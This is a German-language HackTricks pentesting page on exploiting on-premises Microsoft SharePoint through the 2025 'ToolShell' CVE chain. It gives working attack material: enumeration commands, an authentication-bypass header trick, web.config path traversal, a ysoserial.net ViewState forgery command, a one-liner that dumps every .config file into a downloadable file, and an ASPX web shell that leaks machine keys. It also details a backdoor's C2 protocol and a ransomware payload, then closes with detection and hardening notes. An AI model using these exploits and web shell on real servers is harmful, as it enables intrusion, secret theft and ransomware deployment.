Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-Angriffsflächen (ViewState, Web.Config, Web-Shells usw.) sind daher vorhanden, aber SharePoint wird auch mit Hunderten von proprietären ASPX-Seiten und Webdiensten geliefert, die die exponierte Angriffsfläche erheblich vergrößern. Diese Seite sammelt praktische Tricks zur Enumeration, Ausnutzung und Persistenz in SharePoint-Umgebungen mit Schwerpunkt auf der 2025 veröffentlichten Exploit-Kette von Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 Exploit-Kette (auch bekannt als “ToolShell”)
2.1 CVE-2025-49704 – Code-Injection auf ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
ermöglicht die Einspeisung beliebigen Server-Side Include Codes in die Seite, die später von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start()
ausführt und einen bösartigen ViewState ablegt.
2.2 CVE-2025-49706 – Unzureichende Authentifizierung Umgehung
Die gleiche Seite vertraut dem X-Forms_BaseUrl Header, um den Kontext der Seite zu bestimmen. Indem man ihn auf /_layouts/15/
zeigt, kann die MFA/SSO, die an der Root-Seite durchgesetzt wird, unauthentifiziert umgangen werden.
2.3 CVE-2025-53770 – Unauthentifizierte ViewState Deserialisierung → RCE
Sobald der Angreifer ein Gadget in ToolPane.aspx
kontrolliert, kann er einen nicht signierten (oder nur MAC) __VIEWSTATE
Wert posten, der die .NET Deserialisierung innerhalb von w3wp.exe auslöst, was zu einer Codeausführung führt.
Wenn die Signierung aktiviert ist, stehlen Sie den ValidationKey/DecryptionKey aus einer beliebigen web.config
(siehe 2.4) und fälschen Sie die Payload mit ysoserial.net oder ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Für eine ausführliche Erklärung zum Missbrauch von ASP.NET ViewState lesen Sie:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Pfad Traversierung / web.config Offenlegung
Das Senden eines manipulierten Source
-Parameters an ToolPane.aspx
(z.B. ../../../../web.config
) gibt die angezielte Datei zurück, was die Offenlegung von ermöglicht:
<machineKey validationKey="…" decryptionKey="…">
➜ ViewState / ASPXAUTH-Cookies fälschen- Verbindungszeichenfolgen & Geheimnisse.
3. Post-Exploitation-Rezepte, die in der Wildnis beobachtet wurden
3.1 Exfiltrieren Sie jede .config-Datei (Variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resultierende debug_dev.js
kann anonym heruntergeladen werden und enthält alle sensiblen Konfigurationen.
3.2 Bereitstellung einer Base64-kodierten ASPX-Web-Shell (Variation-2)
powershell.exe -EncodedCommand <base64>
Beispiel für einen decodierten Payload (verkürzt):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geschrieben an:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die Shell exponiert Endpunkte zum Lesen / Rotieren von Maschinen-Schlüsseln, was das Fälschen von ViewState- und ASPXAUTH-Cookies über die Farm ermöglicht.
3.3 Obfuskierte Variante (Variation-3)
Gleiche Shell, aber:
- abgelegt unter
...\15\TEMPLATE\LAYOUTS\
- Variablennamen auf einzelne Buchstaben reduziert
Thread.Sleep(<ms>)
hinzugefügt für Sandbox-Umgehung & zeitbasierte AV-Umgehung.
3.4 AK47C2 Multi-Protokoll-Hintertür & X2ANYLOCK Ransomware (beobachtet 2025-2026)
Aktuelle Vorfallreaktionsuntersuchungen (Unit42 „Projekt AK47“) zeigen, wie Angreifer die ToolShell-Kette nach anfänglichem RCE nutzen, um ein Dual-Channel-C2-Implantat und Ransomware in SharePoint-Umgebungen bereitzustellen:
AK47C2 – dnsclient
Variante
- Hardcodierter DNS-Server:
10.7.66.10
, der mit der autoritativen Domainupdate.updatemicfosoft.com
kommuniziert. - Nachrichten sind JSON-Objekte, die mit dem statischen Schlüssel
VHBD@H
XOR-verschlüsselt, hex-kodiert und als Subdomain-Labels eingebettet sind.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lange Abfragen werden in Teile zerlegt und mit
s
vorangestellt, dann serverseitig wieder zusammengesetzt. - Der Server antwortet in TXT-Datensätzen, die dasselbe XOR/Hex-Schema verwenden:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 führte ein vereinfachtes Format
<COMMAND>::<SESSION_KEY>
und Chunk-Markierungen1
,2
,a
ein.
AK47C2 – httpclient
Variante
- Verwendet die genaue JSON- & XOR-Routine, sendet jedoch den Hex-B Blob im HTTP POST-Körper über
libcurl
(CURLOPT_POSTFIELDS
usw.). - Gleicher Task/Ergebnis-Workflow, der ermöglicht:
- Arbiträre Shell-Befehlsausführung.
- Dynamische Schlafintervalle und Kill-Switch-Anweisungen.
X2ANYLOCK Ransomware
- 64-Bit C++ Payload, geladen durch DLL-Seitenladung (siehe unten).
- Verwendet AES-CBC für Dateidaten + RSA-2048, um den AES-Schlüssel zu umschließen, und fügt dann die Erweiterung
.x2anylock
hinzu. - Verschlüsselt rekursiv lokale Laufwerke und entdeckte SMB-Freigaben; überspringt Systempfade.
- Hinterlässt eine Klartextnotiz
How to decrypt my data.txt
, die eine statische Tox ID für Verhandlungen einbettet. - Enthält einen internen Kill-Switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL-Seitenladekette
- Angreifer schreibt
dllhijacked.dll
/My7zdllhijacked.dll
neben ein legitimes7z.exe
. - Von SharePoint gestartetes
w3wp.exe
startet7z.exe
, das die bösartige DLL aufgrund der Windows-Suchreihenfolge lädt und den Ransomware-Einstiegspunkt im Speicher aufruft. - Ein separater LockBit-Lader wurde beobachtet (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
), der Shell-Code entschlüsselt und DLL-Hollowing ind3dl1.dll
durchführt, um LockBit 3.0 auszuführen.
info
Die gleiche statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in geleakten LockBit-Datenbanken, was auf eine Überlappung der Partner hinweist.
4. Erkennungsideen
Telemetrie | Warum es verdächtig ist |
---|---|
w3wp.exe → cmd.exe | Arbeitsprozess sollte selten eine Shell starten |
cmd.exe → powershell.exe -EncodedCommand | Klassisches lolbin-Muster |
Dateiereignisse, die debug_dev.js oder spinstall0.aspx erstellen | IOCs direkt von ToolShell |
ProcessCmdLine ENTHÄLT ToolPane.aspx (ETW/Modulprotokolle) | Öffentliche PoCs rufen diese Seite auf |
Beispiel XDR / Sysmon-Regel (Pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Härtung & Minderung
- Patch – Die Sicherheitsupdates von Juli 2025 beheben alle vier CVEs.
- Rotieren Sie jeden
<machineKey>
undViewState
-Geheimnisse nach einem Kompromiss. - Entfernen Sie die LAYOUTS Schreibberechtigung von den Gruppen
WSS_WPG
&WSS_ADMIN_WPG
. - Blockieren Sie den externen Zugriff auf
/_layouts/15/ToolPane.aspx
auf Proxy/WAF-Ebene. - Aktivieren Sie ViewStateUserKey, MAC aktiviert und benutzerdefinierte EventValidation.
Verwandte Tricks
- IIS Post-Exploitation & web.config Missbrauch:
IIS - Internet Information Services
Referenzen
- Unit42 – Aktive Ausnutzung von Microsoft SharePoint-Sicherheitsanfälligkeiten
- GitHub PoC – ToolShell Exploit-Kette
- Microsoft Sicherheitsberatung – CVE-2025-49704 / 49706
- Unit42 – Projekt AK47 / SharePoint-Ausnutzung & Ransomware-Aktivität
- Microsoft Sicherheitsberatung – CVE-2025-53770 / 53771
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.